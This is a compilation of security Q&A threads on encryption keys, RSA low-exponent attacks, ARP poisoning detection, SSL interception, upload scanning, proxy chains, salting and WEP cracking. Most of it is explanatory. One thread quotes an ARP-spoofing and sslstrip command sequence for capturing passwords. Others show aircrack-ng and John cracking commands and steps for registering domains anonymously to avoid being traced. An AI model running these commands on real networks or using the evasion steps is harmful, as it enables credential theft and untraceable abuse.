Does knowing part of the key make encryption weaker? I am asking specifically about AES CBC mode.

Is it safe to assume that an encryption key of length X with N characters known by an attacker is just as secure as a key of length X − N?

For example, is the following key:

[][][][][]abc (8 chars, 3 known)

Exactly as secure as:

[][][][][] (5 chars, 0 known)

assuming that the rest of the key cannot be guessed from the known characters?

Does the placement of the known characters make any difference?

Would it increase security at all to add a known value to an encryption key (for example, by using a 256 bit key instead of a 128 bit key but making the last 128 bits static)? Or would it actually make the key weaker? Or make no difference at all?

"Does the placement of the known characters make any difference?"

Yes, it does make a difference and a rather significant difference. When it comes to information, the more the attacker knows the faster he can break it, as simple as that.

If the attacker knows where a b c goes in your key, then again it is as good as,

[][][][][] (5 chars, 0 known)

is the same as,

[]a[]b[]c[][]
[]abc[][][][]
abc[][][][][]

If you want a key of length 8 and 3 chars are to be considered known values, then the true length of the key/secret is simply 5.

If an attacker knows the value at position X, position Y, position Z, the attacker can include that in brute-forcing the key. You basically shortened the time taken to obtain the full key. You removed a nice chunk of combinations for him. You can have a key with 10 digits of random numbers. If you add a string of numbers like 1234567890 behind it, so it becomes XXXXXXXXXX1234567890, its a 20 digit key now, it is useless. It's as good as 10. Another example > X1X2X3X4X5X6X7X8X9X, if the attacker knows the position of the known values, again it's as good as a key length of 10.

Also, what is the relation of the revealed values to the key? Like if a b c is revealed & a b c won't appear again, then that is a huge clue to be handing out, again shortening the time it takes to brute-force it and undermining the integrity/overall effectiveness of the key.

Let me reiterate, (5 known & 3 known) = (5 known) both has the same level of integrity provided that the values are not related to each other


Are the encoded messages different for the same plain text but different modulus in RSA? I am trying to reproduce the RSA attack in which the CRT is used for an exponent of e=3 and no padding. I want to code the same plain message (i.e. "HI") with three different public keys, (e1,n1) (e2,n2) (e3,n3). However, I get c1=c2=c3 equal, although n1!=n2!=n3. The three RSA exponents are e1=e2=e3=3.

However if I use a bigger plain text(i.e "Hi my name is "), the three codes are then different c1!=c2!=c3

Is this normal behavior? Why is happening?

Also, when I perform the CRT operation, I can only recover  "Hi my", instead the whole string. Is there any limitation in the size of m? Or am I messing myself with precision or type conversion?

The example is:

Pub key 1: 3

521319240222107884689410763002651770477

Pub key 2: 3

971942073666717835868044797161302855351

Pub key 3: 3

1130117127193245273914627104538121346723

I am going to code: "Hi my name is"

check m0=5736962829656840785174168889715

Code1:

189327048722959219131229293322701756239

Code2:

655706385250016486665327564357017094773

Code3:

109975795916415293594862048607166887857

the m I got after the calculation is: m1=5736962829656818723003509506048
which m0!=m1

Any ideas?

For sufficiently small m and e, yes, the ciphertexts will be the same. What's more, they can be trivially decrypted.

As you say, you're not using any padding. RSA needs to be used with padding; it is not secure to encrypt unpadded values that are much smaller than the modulus size (m < n^(1/e), i.e. your message is less than the cube root of your modulus).

From Wikipedia:

  When encrypting with low encryption exponents (e.g., e = 3) and small values of the m, (i.e., m < n^1/e) the result of m^e is strictly less than the modulus n. In this case, ciphertexts can be easily decrypted by taking the eth root of the ciphertext over the integers.

This implies that the ciphertexts (m^e mod n) are going to be the same for very small messages, yes. If m^e < n1, n2, and n3, then (m^e mod n1) = (m^e mod n2) = (m^e mod n3) = m^e, and you can recover m by raising it to 1/e (taking the eth root).

See Attacks against plain RSA and check out OAEP for the usual padding algorithm.


A third party Web site wants me to validate my domain ownership using a TXT record What are the security risks with adding TXT records for third party tools? Can they get any information back from your servers with adding that record for them?

The example below is from the "have i been pwned" Web site:

Yes, under certain circumstances, they can.

TXT records are frequently used to verify the domain name ownership for various reasons, including (but not limited to) TLS (HTTPS) certificate issuance. For instance, this is how it is done with DigiCert which is one of, if not the, largest certificate authority in the world.

Note that the process is just the same as in your case: you need to take a seemingly arbitrary alphanumeric string (provided to you by the tool) and to put it in the TXT record of your domain.

A potential attacker can supply you with a string they have obtained from a CA's validation agent on your behalf and then obtain a valid HTTPS certificate for your domain. The certificate could then in turn be used e.g. for man-in-the-middle attacks against your Web site.

To address that scenario, most validation agents these days generate not just an arbitrary alphanumeric string for a TXT record but a string with a prefix which is expected to rather uniquely identify the validation agent. At the time of writing, the service you have mentioned seems to do exactly that: it just provided me with a string have-i-been-pwned-verification=e6c252c87a4bd0e0fd7cb39a057bb0b3, which contains an easily recognizable and apparently innocent prefix have-i-been-pwned-verification=.

See, it's highly unlikely that a different Web service (including CAs) would issue anyone a string with exactly that prefix.

(Make sure the prefix still stays there when you are going through validation.)

Aside from potential (and severe, thus unlikely) vulnerabilities in validation agents, prefixed strings with long and seemingly unique prefixes may be considered safe to put into a TXT record for a rather short period of time.


How to tell if you're being ARP poisoned? I am having some issues at work and there is a new network admin in place. I think I am being monitored so decided to run ArpSpy X in two scenarios:

Over WiFi bridge plugged into Cisco router to took a note of the router IP and MAC address. Then I did a vendor look up and it shows as a Cisco router (which it should) but I also have another Mac entry for the same IP (the router IP) of FF:FF:FF:FF:FF.
Then through Hardwired via Ethernet I only see the FF:FF.... address for the router IP.

At the moment I only use the network via VPN (OpenVPN) to an external VPN provider to be safe.

Can someone please tell me if the double MAC address via wired and the single FF:FF:FF.... is normal or am I just being paranoid?

FF:FF:FF:FF:FF:FF is the broadcast MAC address and is associated with the broadcast IP address in the ARP table (arp -a command). Somebody could be poisoning you but you might have mistaken the broadcast IP address for the Gateway IP address.

Here are tools that provide ARP security by alerting or stopping attacks:

XArp: Advanced ARP spoofing detection, active probing and passive checks. Two user interfaces: normal view with predefined security levels, pro view with per-interface configuration of detection modules and active validation. Windows and Linux, GUI-based.
Snort: Snort preprocessor Arpspoof, detects arp spoofing.
Arpwatch: the ethernet monitor program; for keeping track of ethernet/ip address pairings,
ArpON: Portable handler daemon for securing ARP against spoofing, cache poisoning or poison - routing attacks in static, dynamic and hybrid networks.
Antidote: Linux daemon, monitors mappings, unusually large number of ARP packets.
Arp_Antidote: Linux Kernel Patch for 2.4.18 - 2.4.20, watches mappings, can define action to take when.
ArpAlert: It listens on a network interface (without using 'promiscuous' mode) and catches all conversations of MAC address to IP request. It then compares the mac addresses it detected with a pre-configured list of authorized MAC addresses. If the MAC is not in list, arpalert launches a pre-defined user script with the MAC address and IP address as parameters. This software can run in deamon mode; it's very fast (low CPU and memory consumption). It responds at signal SIGHUP (configuration reload) and at signals SIGTERM, SIGINT, SIGQUIT and SIGABRT (arpalert stops itself)
ArpwatchNG: monitors mac adresses on your network and writes them into a file.
last know timestamp and change notification is included. use it to monitor for unknown (and as such, likely to be intruder's) mac adresses or somebody messing around with your arp_/dns_tables.

https://en.wikipedia.org/wiki/ARP_spoofing


Is PGP or S/MIME useful when both servers are self-controlled? With regards to encryption and preventing a 3rd party from viewing my emails (and ignoring validity/signing), is encrypting an email via PGP or S/MIME useful when I control my server and my recipient controls their server?

I'm assuming the servers are not compromised and do not have other untrustworthy admins. And, for the sake of this argument, they are both physical servers, so there shouldn't be a problem of virtual machine vulnerabilities.

From my understanding, email between servers is encrypted, as long as they are both set up to support that. Are there other security concerns that are still valid that would be negated by email encryption?

With regards to encryption and preventing a 3rd party from viewing my emails (and ignoring validity/signing), is encrypting an email via PGP or S/MIME useful when I control my server and my recipient controls their server?

In practice: No, but you need to make sure many other elements of the network aren't fooling you. I will concentrate on the transmission here. End-to-End encryption gives to extra security on top of other elements, described here. If some elements fail, GPG still protects the content of your mails.

First, you want to make sure, you can contact the right recipient’s server. To do that, your sending mail servers does a DNS-Lookup for the MX-Record of the domain. Then the resulting FQDN has to be resolved to get an IP. This is the first possible attack vector, as the used DNS-Server must be trustworthy and not controlled by the attackers. Additionally, the DNS can also be fooled. You may have a look on DNSSEC or DNScurve, both want to ensure, the answer from a DNS is authoritative, as the DNS protocol is completely unencrypted and tampering is very easy.

A possible solution is to overwrite the domain -> MX and A lookup on your server, by specifying a custom transport in your mailserver explicitly ("use this server to deliver mails to that domain").

The next possible problem is, you can't be sure you're talking with the real other side, even with SMTPS (SMTP over TLS) or SMTP+STARTTLS, as usually server certificated are not checked. Thus, the sending server must check the other's server certificate, and also the other way round: The receiving server has to check the client certificate of the sending server, because otherwise the receiver can't be sure, the trusted server sent the mail. Also make sure the connection can't be downgraded to plain SMTP.

As CA's and the PKI-System also have their problems, certificate pinning is appropriate. Others already brought up the issue of backups.


Understanding SSL man-in-the-middle and its limitations I’m trying to develop a good sense of how an SSL man-in-the-middle(s) (MITM) works.  As I understand it, MITMs do their work in one of two ways:

Decrypt the SSL by having a copy of the server’s private key.  Strictly speaking, this is not MITM since the “MITM device” is simply eavesdropping.  The SSL session is not changed
Generate new certs on the fly.  Here, the MITM device forwards the client hello, intercepts the server cert, generates and signs a new one, and forwards along to the client.  The client either trusts the cert or is asked to trust it (if it’s self-signed)

There are limitations (and mitigations), though:

The Client and Server might agree to generate and exchange keys using DHE_RSA (or a variant).  The MITM wouldn’t participate in the key generation.  But can’t a sophisticated enough MITM still generate session keys creating distinct ssl sessions on either side?
Wouldn’t the same go for the Extended Master Secret?  As above, if the MITM were actually computing distinct session keys, the Extended Master Secret would not help defeat the MITM
The server might require a client certificate.  But if the MITM could acquire its own client certificate and the corresponding private key, it could successfully sign Certificate Verify handshake messages

Am I understanding all of this correctly?  It seems like if a MITM had access to enough key material, it could successfully decrypt any SSL session.

I think you got some of the concepts right but there are also some misunderstandings or inaccuracies.

Decrypting the traffic in a passive man in the middle attack (i.e. only sniffing) by using the servers private key is only possible when RSA key exchange is used. It can not be done with Diffie-Hellman key exchange. Contrary to RSA key exchange the DH key exchange also causes forward secrecy which means that previously sniffed connections can not be decrypted once the attacker got the private key of the certificate.
An active man in the middle attack consists of a SSL session from client to MITM and from MITM to server. These are fully separate sessions which have different keys and can also use a different cipher, protocol version etc. If the MITM attacker  has the servers original private key he can impersonate the server perfectly by using the original certificate. Otherwise a fake certificate need to be used (often created dynamically). The attack succeeds only in the latter case if the client already trusts the CA issuing the fake certificate or the client does not do proper certificate validation.
Client certificates are similar to server certificates: either the attacker has the private key of the original certificate and thus can use it or the server needs to somehow trust the attackers fake certificate respectively fails to properly validate the certificate.


Security measures and anti-virus on server to mitigate acting as a propagation vector We have a web application for which I've been asked to add the ability to let users upload documents that will then be visible and downloadable by other users. Those documents will typically be images and audit documents that will initially be in PDF format but may extend to other office formats in the future. Each user that can upload or download files will have to authenticate first. The servers run Debian.

The way I see it, with this functionality, our server can potentially become a distribution vector for viruses through the following scenario:

User 1 uploads a file that contains a virus,
Server makes the file available for download,
User 2 downloads the infected file and propagates the virus.

In order to mitigate this threat, I was thinking of implementing a quarantine mechanism where every file is uploaded to our server in a safe folder, checked and only made available for download once all checks have passed. The security checks I had in mind are:

Have a white list of file types we accept and reject any file not of that type,
Check that the type of the actual file is the same as the one advertised in the POST request and reject any file where there is a mismatch,
Run anti-virus on the file.

We may also include filters that are specific to given file types. For example, we could have images go through ImageMagick in order to store a "sanitised" version. Similarly, we should be able to partially parse document files to extract some information out of them and perform further checks.

My current ideas for implementing those checks are:

Check the file type by using file -i,
Use ClamAV as an anti-virus.

Are there other attack vectors I should think of or other checks I should implement?

Is ClamAV the correct tool to check files for viruses?

By itself, Clamav is not on par with the best commercial alternatives. For best results use multiple detection engines well rated in comparative reviews. Engines with the highest detection rate generally suffer from more false positives, so consider quarantining inconsistent results for later manual checks.
Also available are automated sandbox analysis tools like cuckoo sandbox and online third party services like virustotal's API (the latest only for public documents, although other services may come with an NDA).

File types and extensions should be filtered on a white-list basis. Server-side languages often include a file recognition library which you can use in addition or as an alternative to file -i.
Users should not be allowed to upload encrypted documents or ZIP files whose contents cannot be scanned.

Responsibility and accountability would help users thinking twice before being silly or careless. Ask them to report infections immediately. Keep track of those uploading malware, as they are more likely to do it again. Website usage patterns may reveal leaked credentials and malicious behaviour.

The single most effective mitigation towards overall security may be an awareness web page for users prepared in coordination with the appointed company department. This would prevent infections of user machines in the first place. Mind it is not a technical measure, it is outside your scope and it may minimize the perceived value of your other efforts.


Norms and Compliance for storing bank account details I am from India and working on a B2C service product. There I have to transfer money to my customers, so I need their bank account number and IFSC code.

However, I was wondering if there are some norms or compliance for this.

I am requesting bank account details from my users and storing these details on my server in fully encrypted and hashed way which will be readable to only Super Admin to transact.

I am not storing any type of card details, just bank account numbers and IFSC codes.

I found several such questions but they were card-details centric. As we are not dealing with cards, I assume PCI DSS is not applicable to us.

What are the norms and compliance we need to follow as per RBI or any other Indian government body?

PCI-DSS applies only to credit card numbers so you are not in scope if you are only storing bank account details. RBI regulates financial institutions, you are most likely not in scope for that either. However if you are storing bank account details (including names of your customers) you are in scope for Data Protection Laws.

However Data Protection Laws tell you to adequately secure information, they are not as specific as PCI-DSS.  A good starting point in terms of standards would probably be NIST 800-122.


How can an attacker sniff a password with SOCKS5 proxy? Do I have to fear a local man-in-the-middle attacker while entering password with tor?

Say a victim is connecting to Facebook with tor Browser.

How would an attacker build a man-in-the-middle attack that get its password? (what precise commands)

If no proxy is used, the attacker would use

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p  tcp --destination-port 80 -j REDIRECT --to-port 54321
sslstrip -l 54321
arpspoof -i eth0  -t < targetIP > < gatewayIP >
arpspoof -i eth0  -t < gatewayIP > < targetIP>

I did a blog post on this here in 2012: http://security.blogoverflow.com/2012/04/tor-exploiting-the-weakest-link/

The fact is that an attacker can indeed launch attacks as you mention. The exit node will always be able to read the clear text traffic and maybe even indeed perform SSL strip like attacks.


Is it safe(r) to repeat proxies? I was setting up proxies in Kali Linux 2016.2 and was wondering if it is safe(r) to repeat proxies. For example, Proxy 1 > Proxy 2 > Proxy 3 > Proxy 1 > Proxy 2 > Proxy 3 and so on.

No, a loop in the proxy chain doesn't increase your anonymity. Rather, it introduces new risks.

First of all, chaining proxies isn't as safe as you'd think. A standard HTTP/SOCKS proxy just forwards the traffic without adding encryption. If that's what you're using, be aware that every proxy in the chain knows

the address of its preceding proxy,
the addresses of all subsequent proxies and
is able to read and modify your traffic (unless you're using end-to-end encryption with the destination server, e.g. by using HTTPS).

This means that even with SSL, all proxies in the chain know which website you're visiting. In contrast, Tor uses an onion routing approach where every node adds a layer of encryption and every hop just knows their immediate preceding and succeeding node. With Tor, only the first hop knows your IP and only the last hop (exit node) can read your original traffic and knows the destination.

Related: Aren't 10 proxies (proxychains) better than Tor with only 3 hops?

Back to your example - consider these cases:

Case 1

you -> p1 -> p2 -> p3 -> https://example.com

Case 2

you -> p1 -> p2 -> p3 -> p1 -> p2 -> p3 -> https://example.com

Imagine that p3 is a rogue node / has to turn over their logs to law enforcement. In case 1, they could only identify p2 as the originator of the traffic and example.com as the target. In case 2 however, they'd learn about the involvement of p1, too. From inspecting the traffic, p3 can conclude that it's processing the same traffic twice and would be able to enumerate all involved proxies.

Even if the proxy chain was using Tor-style onion routing, where the traffic wouldn't look the same at the second pass, p3 could still conduct a correlation attack:

you -> p1 -> p2 -> p3 -> pX -> pY -> p3 -> https://example.com
                   ^-- correlation --^

That is, an adversary controlling both ends of a communication channel has good chances of correlating incoming and outgoing traffic by analyzing the timing and volume of the traffic. If you introduce a duplicate node in a chain of proxies, that clearly facilitates a traffic correlation attack and thereby defeats the anonymizing effect of the nodes in between.

(Yay! It's my 100th answer!)


Efficiency of Steganography with Linear Codes I have read some papers about steganography using perfect linear codes. The aim is sending more hidden message bits with changing less cover message bits. For example using the parity check matrix of [7,4,3] Hamming code, we can embed 3 bits of message in 7 bits by changing at most one of them.

It looks great. However, we are not free for choosing positions to be changed. Our message forces us when choosing positions that we will change. But what if the position we will change belongs to the most significant bit (MSB) or any other bits that the colour of the pixel changes perceptibly when we change that position? Is not it a handicap?

Think about it at a higher level. Steganography is the act of disguising a secret message by embedding it in an innocent message. It doesn't have to be hidden in a picture. It could be hidden in a music file, or a video, or a spam email. Picking a disguise is a choice, not a requirement.

So now we choose the type of file, and we pick a picture. That doesn't say anything about how we will hide the messsge in the file. We can choose to hide it only in the least significant bit of the color blue, for example. Or we could hide it by altering only pixels that are set to true black, or the alpha channel, or by modifying the EXIF thumbnail.

Your scheme would work if you chose to treat the least significant bit of a group of 8 bytes as the locations of the hidden bits.

But what would that gain you? Every eighth byte would have a statistically unusual distribution, because a normal picture won't have a parity bit there. If an analyst is looking for evidence of an unusual image that might be hiding data, your modified images will stand out as surely as if you had embedded the message directly.


WPA3 announced. Really needed? It seems Wi-Fi Alliance announced WPA3 for the end of 2018.

Anybody knows exactly what is new? features, security improvements, etc...
Is it because of Krack attack? I thought patching WPA2 is enough.
Is WPA3 really needed because of its security improvements? or is just a "not mandatory" upgrade?

According to The Hacker News, here are major improvements :

WPA3 protocol strengthens user privacy in open networks through individualised data encryption.
WPA3 protocol will also protect against brute-force dictionary    attacks, preventing hackers from making multiple login attempts by
using commonly used passwords.
WPA3 protocol also offers simplified security for devices that often    have no display for configuring security settings, i.e. IoT
devices.
Finally, there will be a 192-bit security suite for protecting WiFi    users’ networks with higher security requirements, such as
government, defence and industrial organisations.

Thus I think it has some security improvements over WPA2


Can a VPN Provider MitM my SSL traffic without me noticing? If I connect to lets say gmail over a VPN. How does the provider forward the traffic without exposing my IP, but also without breaking the SSL. Shouldn't gmail know my real IP if the traffic just gets tunneled through the provider?

I thought about invalid certificates if the ssl gets broken, but how do next gen firewalls like palo alto claim they can do deep packet inspection on ssl traffic without the users noticing? Why can't the VPN provider just use a similar box to decrypt it?

I am a bit curious about how much data a VPN provider could potentially collect about me. I hope you can help me here.

How does the provider forward the traffic without exposing my IP, but also without breaking the SSL.

SSL is protection (like encryption) on top of TCP which sits on top of IP. The underlying layers (TCP, IP) can be changed without changing the data transported. This means that the encryption can be kept even though your IP address at the network layer is changing.

This is similar to having an encrypted mail (i.e. PGP or S/MIME). It does not matter if it gets transported via multiple mail servers, gets stored on different machines etc - the encrypted part of the mail itself and its inner content will not be changed.

  ... but how do next gen firewalls like palo alto claim they can do deep packet inspection on ssl traffic without the users noticing?

They don't. If the inner contents of SSL connections need to be analyzed the DPI system does a man in the middle "attack", i.e. it is the endpoint of the SSL connection from the perspective of the server and decrypts any traffic and encrypts it again to present it to the client. Usually this will result in security warning to the user since the new certificate for the connection (created by the DPI system) is not trusted. But this can be made more transparent to the user if the user explicitly trusts the DPI appliance.

For the details to this see How does SSL Proxy server in company work?, Deep Packet Inspection SSL : How DPI appliances prevent certificates warnings? or Is it common practice for companies to MITM HTTPS traffic?.

  Why can't the VPN provider just use a similar box to decrypt it?

It actually could do this.

Only, in theory users would need to explicitly trust the VPN provider for inspecting SSL traffic similar to what is done in companies. But, if you for example install the VPN software provided by the VPN provider, this software could actually silently trust the computer the VPN provider for SSL interception so that you don't realize that the provider can sniff and even modify the encrypted traffic. This silent installation of trusted certificate authorities is actually what many antivirus products do, so that they sniff encrypted traffic and protect the user from attacks delivered inside encrypted connections.

One could in theory find out that the provider is doing this by looking at the certificate chain for each SSL connection and comparing it to the expected one. Or one can look at the locally trusted certificate authorities and see if there was one added. Still, if you install software from the VPN provider the provider could also change parts of your system like the browser in order to hide the inspection from you. And this is not restricted to software given by the VPN provider - any software you install could actually make such changes.

See also How can I detect HTTPS inspection?.


Does compiling from sources "kinda" protects from buffer overflow attacks? While discussing buffers overflows, somebody told me that compiling your own binary for an application (with specific compilation flags) instead of using the "mainstream binary" makes it more difficult for an attacker to leverage buffer overflows.

Apparently because it "changes memory allocation" compared to the mainstream binary.

Is this true?
Is it way less efficient than Address space layout randomization ?
Is this point rendered moot by new memory management strategies in OS kernels?

It is mostly untrue. Using a compiler of a different version than the one used for the "mainstream" binary, or using it with different compilation flags, may result in a few things ordered differently, but chances are that most of the code elements will appear in the same order. Insofar as it changes anything with regards to buffer overflow leveraging, recompiling things may ease things for the attacker in exactly the same way that it may make things more difficult.

Most buffer overflow leveraging consists in trampling a code address (e.g. return address of a function, on the stack, or a function pointer somewhere, in particular in vtables for objects in C++) so that the attacker forces execution to go where he wishes to. Traditionally, the attacker tried to make execution jump to the data he just filled the buffer with, but non-executable stacks and more generally the so-called W^X model prevent that from succeeding: the data will not be interpreted as code. So the attacker now targets the C library (or a similar system library, depending on the OS), which contains nice functions to execute other files, e.g. a shell. This entails guessing where the said nice function is in memory. Bottom-line: if you want recompiling to have any effect on that, then you must recompile the C library, not the application.

Address space layout randomization is just a generic way for making the address of a function unguessable. It is much more thorough than recompiling (even assuming that recompiling really swaps things around, which it does not) because address space layout randomization is randomized again at each execution. In particular, an attacker will not gain any insight on the target function address by getting a copy of the executable file, because that address has not been decided yet.

Yet address space layout randomization is not a silver bullet since it must operate under severe constraint: it cannot put the library just anywhere because of alignment (usually, the loading address must be a multiple of 4 kB) and fragmentation issues (a 2 GB address space -- on a 32-bit system -- is too small to allow scattering libraries everywhere; this would artificially prevent allocation of big memory blocks).

(Also, a "silver bullet" is a way to kill werewolves. It is an "ideal solution" only if your idea of medicine is shooting patients.)

An a buffer overflow is a bug. If the attacker can make your application overwrite parts of its data with bytes chosen by the attacker, in a silent way, then there is no a priori limit on the damage the attacker can do. That's the reason why languages like Java were invented: at least, with Java, on a buffer overflow, you get an immediate thread crash, not a silent data corruption.


Network Sniffing Java Applet Authentication Example, I have a java applet application, then this application is accepting userid and password as authentication. Can I sniff the userid and password on the network layer? Are the credential being sent on clear text format?

Last, how to perform MiTM (Man in The Middle) attack on java applet application?

The answer is it depends on how the Java Applet works. If it needs to connect back to a server to check the userid and password entered are correct, then I think it is in clear text. If it doesn't connect back to a server (since a Java Applet runs locally) then there's no opportunity for sniffing or man in the middle attack.
You can use Fiddler 2 for packet sniffing.


why does aircrack-ng need AP name when wordlist read from stdin? I'm learning wireless.
The following command works great:

aircrack-ng -w mywordlist <capture file>

If I generate the wordlist on the fly by JTR, for instance, then I need to provide -e :

root@kali:~/spielordner/wifu# john --wordlist=./wordlist.1 --rules=TestTest --stdout | aircrack-ng -w - mycapture
Please specify an ESSID or BSSID.

When I send the passwords John creates into a file and provide that file to aircrack-ng's -w parameter then I don't need -e. Where's the structural difference between those 2 modes?

In most recent versions of Aircrack-ng, when you use the command:
aircrack-ng -w mywordlist <capture file>

You'll be asked to enter the index number of the target network.check this image

Basically, both tools need the SSID to be able to crack the 4-way handshake 'not the point to discuss', but the difference is within the tool.

I believe that Aircrack-ng has some advanced interpreting methods to discover the required bssid or essid from the file, while JTR just asks you to enter it manually.


Shell idle log out time best practice? I am following CIS hardening best practices and it states that the log out time for shell is 60 seconds. This seems pretty steep for non production environments, is there any other best practise around the idle log out time?

Thanks in advance.

Chris

PCI-DSS says the following:

  8.1.8 If a session has been idle for more than 15 minutes, require the user to re-authenticate to re-activate the terminal or session.


Is there any value in redacting my private IP addresses when posting network questions online? I recently filed a bug report with Scapy, and while posting screenshots of Wireshark captures for reference, I decided to blank out my private addresses because I'm just getting into InfoSec, and am trying to be mindful of leaking potentially sensitive information:

In retrospect though, this seems overly paranoid.
I understand that private addresses aren't routable, or unique. In theory though, if someone were to gain access to my home network illegitimately, either remotely or by getting into my router via some exploit, would not knowing what subnet all the hosts exist on realistically hinder them?
My thinking is probably no, because that information could likely be found easily; either on the infected computer used as the entry point, or by some other means.
Is there any value in hiding private IP addresses in a public setting?

There is reconnaissance value, but not immediate "plunder" value. A private IP would tell me that there is a high likelihood that you are using a network firewall. We can also make assumptions based off the private network range. Generally, 192.168.0.0/16 addresses are common in home environments. 10.0.0.0/8 or 172.16.0.0/12 are more common for enterprise environments, due to their larger ranges. Unless you require the highest levels of operational security, I would not bother hiding it, especially for personal usage.
I would be more cautious about a MAC address. A MAC address can reveal what NIC you are using. Theoretically, an attacker could then determine if your NIC is vulnerable to something like Ripple20. Alternatively, if an attacker is able to get the records from the manufacturer, they might even be able to trace your MAC to your real world, physical mailing address.


Is salting a hash really as secure as common knowledge implies? I'm implementing a salt function for user passwords on my web page, and I'm wondering about some things.
A salt is an extension added to a password and then hashed, meaning the password is stored in the database as hash(password+salt). But where does one store the salt? A salt is simply to make rainbow tables "useless", right?
Couldn't an attacker just build a rainbow table, then convert all the hashes and remove the salt? After all, the salt is stored somewhere in the database. Therefore, if one can find the hashed passwords one should be able to find the corresponding salts. It seems to me that a salt only makes passwords longer, forcing the rainbow table to run longer.
So how does one maximise the effectiveness of a salt? I don't really see multiple security reasons for it, aside from making the passwords longer dynamically, but then again one could convert them to bits in a string instead.
Are my assumptions about how a salt works correct? If not, how should I store it and the salted passwords correctly?

You have a fundamental misconception of how rainbow tables work.

A rainbow table or a hash table is built by an attacker prior to an attack. Say I build a hash table containing all the hashes of strings below 7 characters for MD5. If I compromise your database and obtain list of hashes, all I have to do is lookup the hash on the table to obtain your password.

With a salt, you cannot generate a rainbow table for a specific algorithm prior to an attack. A salt is not meant to be secret, you store it alongside the hash in your database.

x = hash(salt+password) You will then store it in your database in the format of salt+x This renders rainbow tables and hash tables useless.

As usual don't roll your own, use bcrypt, scrypt or pbkdf2 which takes care of all the details including salting for you. See How to securely hash passwords?


How do hacking groups register domains remaining anonymous? Let's take lulzsec as an example; they registered lulzsecurity.com. There are two problems that I don't understand how they solved:

They had to pay for it. Tracking down money is generally much easier than tracking down IP addresses. I assume they didn't use stolen credit cards (with all the attention they received, people would have quickly found out and taken away their domain).. And even with prepaid credit cards it's relatively easy to find out who bought it, with security cameras/etc.
They had to have played by ICANN's rules - again, because of the attention they received, if they hadn't people would have found out and they would have lost the domain. This means giving valid contact information.

Here is one method of purchasing a domain name pretty close to anonymously.

Use Tor. Understand its weaknesses
Buy a prepaid credit card in cash, specifically one not requiring activation or signature.
Randomly generate a full alias to use during online registration.
Register an account at a domain registrar.
Use the prepaid credit card to buy a domain.
Repeat for other needed services.

Note that 2. requires non-anonymous interaction and is therefore the riskiest. Let's try another path.

Use Tor. Understand its weaknesses
Randomly generate a full alias to use during online registration.
Earn some Bitcoins anonymously online, thus seeding without human contact.
Chose a domain registrar and DNS host that supports Bitcoins
Repeat for other needed services.


What is source of bad characters exist in buffer overflows I'm new to exploit development and while watching a tutorial I came across the topic of "Bad character identification". I'm referring to the process of sending all possible characters to the vulnerable process to see if there are characters which fail to pass to the receiver.
The existence and identification of those characters has been discussed many times before but I couldn't find the root cause of their existence.
Why are there bad characters a target process mis-handles?

There is no common root cause, although null byte is a common problematic character when dealing with C strings. Each vulnerability has its own buffer space and bad bytes due to the underlying code (char array size declaration f.ex), but also through the function calls that leads to the vulnerable function being called.
A payload that is transmitted over HTTP typically needs to avoid characters that influence how the HTTP request is parsed. Characters such as \r, \n, / and ? can cause the line that's being parsed to truncate prematurely and fail to overflow the buffer, or lead to a 404 error instead of calling the vulnerable function.
Characters being converted between upper and lower case is another example that will mess with shell code. There are also cases where a single byte is fine, but multiple sequential bytes are not, such as a function trimming whitespace in the payload before calling the vulnerable function.
So you can see that the overall combination of the bad bytes is a combination of the code, the call stack and the transport layer (and possibly more for second order bugs) and the bad bytes can be bad due to diverting the call stack as well as corrupting the payload.


How well will the max transformation rounds in Keepassx deter an attacker for the next twenty years? Keepassx lets you decide how many transformations rounds need to be run in order to unlock your Keepass database.  In my version of Keepassx (2.0.3) the max value seems to be 999,999,999.  With that setting it takes my laptop about 22 seconds to unlock the database.  I imagine that a beefy workstation would take less time than that.  With that in mind, how well can this setting deter someone else from accessing your database, assuming that they managed to get access to it?  Let’s just say an individual (not an organization) with a computer made to do this kind of work.  How much work can you assume that they will have to do per try with the kind of computation power that they will have access to in twenty years?

A bit of math allows you to easily understand how many extra bits of security these iterations provide. The general rule is that the number of bits of security you gain is the base 2 logarithm of the number of iterations. Rounding your maximum value of iterations to 109 iterations, you gain log2(109) ≈ 30 bits.

Is an extra 30 bits enough to deter an attacker for the next 20 years? That depends on how many bits of entropy your initial password has. If your original password started with 70 bits it would be difficult, but not impossible, to break even today. If you add an extra 30 bits through 109 hash iterations, you will have effectively 100 bits of security, which is likely to deter most attackers for the next 20 years.


Is this a bot fishing for security vulnerabilities on my site? I am running a webpage for my family with a feature to track users and guests. Since its all just family stuff no one ever visits this server, and I hardly see more than 2-3 of us logged on at the same time. I did however notice today that I suddenly had 16 guests browsing the site, and when checking the logs they were all from the same IP and requesting the same file.

Was this a bot sniffing my website for vulnerabilties?

These requests seem to try to locate Ajax File Manager, in which several vulnerabilities have been discovered.

If you don’t use that, there is no need to worry.


What is the purpose of changing the default SSID? Yesterday I got a cable modem, and on the back of the modem there is a small sticker with the name of the default SSID, which looks like Vendor-A11 and the default Pre-Shared Key, which is a long password containing both numbers and letters.

I found it convenient that when I want to connect some device to its Wifi, I just need to have a look at the rear of the modem. But then, while doing some research, I saw that it is recommended to change the default SSID. For me, it seems that what comes printed on the sticker is unique to each device sold by the manufacturer (both the SSID and the key).

Then I did some research on the web and, while there are many websites that tell you to change the default SSID (and some even go as far as saying you should change it often), all of them failed to explain what is the purpose of changing it.

Isn't doing this just some sort of security by obscurity? Isn't setting WPA2 with a good password the most important? Just for reference, I have disabled WPS too.

Changing the Default SSID would serve no particular security purpose where it's not entirely predictable (e.g. 'netgear'). It would allow you to easily identify your wireless network though, if there are lots of others about.

It used to be the case where companies used one string for all their APs that it was relevant to Rainbow table generation (more info here) as the SSID is involved in generating the key (details here)

It could be that the articles you read were confusion the idea of changing the SSID with the idea of changing the Pre-Shared Key.

Changing the PSK can be a good idea, in case there is a problem with the methodology used to generate the first one being predictable (IIRC this has been a problem with some makes of access point in the past).

Also changing the PSK periodically can be beneficial if you're worried about someone brute-forcing the existing one or your worried about someone who has had access to the network and should no longer have it (e.g. in a company set-up where someone leaves the company)


How to find a wep key inside a pcap file with only 2 IV? I have a pcap file that contains 3 packets. I need to find a WEP key inside these packets. These packets contains only two IV. It's not a live attack so I can't try brute force.

In order to break WEP you need to catch 2 packets with the same key and reused IVs. The number of packets in order to break the key depends on the length of the IV, but you usually need more than one thousand.

In your case probably your 3 packets do not share the same IVs. This means that you cannot break easily the key. Your only way will be brute forcing the key and for that, you do not need any live attack.

You can use airdecap-ng for bruteforce the key.


